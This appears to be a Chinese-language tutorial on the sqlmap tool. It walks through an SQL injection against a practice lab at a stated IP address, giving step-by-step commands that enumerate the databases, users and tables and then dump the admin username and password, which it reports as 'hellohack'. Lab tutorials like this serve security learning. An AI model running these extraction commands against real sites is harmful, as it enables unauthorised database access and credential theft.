0x01 简介
Automatic SQL injection and database takeover tool
Kali Liunx已经集成,也有win平台下python版本的。
首先我们需要找个有注入点的网址,找个可以自己搭建,也可以找靶机。
这里我找了一个在线演练靶场。https://hack.zkaq.org/
存在的注入点:http://117.41.229.122:8003/?id=1
终端命令:
sqlmap -u "http://117.41.229.122:8003/?id=1"
从结果中我们得知
(1)注入参数id为GET注入,注入类型有:boolean-based blind,time-based blind。
(2)web服务器系统为windows
(3)web应用程序技术为:PHP 5.4..45 Apache 2.4.23
(4)数据库类型为:MYSQL大于5.0.12版本
其中图一有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:
sqlmap -u "http://117.41.229.122:8003/?id=1"--batch
0x02 暴库
曝出该sqlserver中所有数据库名称
sqlmap -u "http://117.41.229.122:8003/?id=1" --dbs
参数:
–dbs:参数前都有俩条横杠。
结果显示了3个可用数据库,分别为
information_schema
maoshe
test
0x03 web当前使用的数据库
sqlmap -u "http://117.41.229.122:8003/?id=1" --current-db
结果显示current database: ‘maoshe‘
0x04 web数据库使用账户
sqlmap -u "http://117.41.229.122:8003/?id=1" --current-user
0x05 列出sqlserver所有用户
sqlmap -u "http://117.41.229.122:8003/?id=1" --users
0x06 数据库账户与密码
sqlmap -u "http://117.41.229.122:8003/?id=1" --passwords
这靶机有限制,读取密码出错了。
0x07 列出数据库中的表
sqlmap -u "http://117.41.229.122:8003/?id=1" -D maoshe --tables
参数:
-D:指定数据库名称
–tables:列出表
0x08 列出表中字段
sqlmap -u "http://117.41.229.122:8003/?id=1" -D maoshe -T admin --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
–columns:指定列出字段
0x09 暴字段内容
sqlmap -u "http://117.41.229.122:8003/?id=1" -D maoshe -T admin -C "username,password" --dump
-D:指定数据库名称
-T:指定要列出字段的表
-C :指定要暴的字段
–dump:将结果导出
结果中可以看到,admin对于的密码为hellohack
0x10 验证
到此我们使用SQLMAP从最简单的注入然后暴库拿到管理员密码。
更多的SQLMAP参考官方网址:http://sqlmap.org/
SQLMAP源码学习笔记之目录结构:https://blog.csdn.net/qq_29277155/article/details/51646932
渗透攻防Web篇-SQL注入攻击三部曲:https://bbs.ichunqiu.com/thread-9518-1-1.html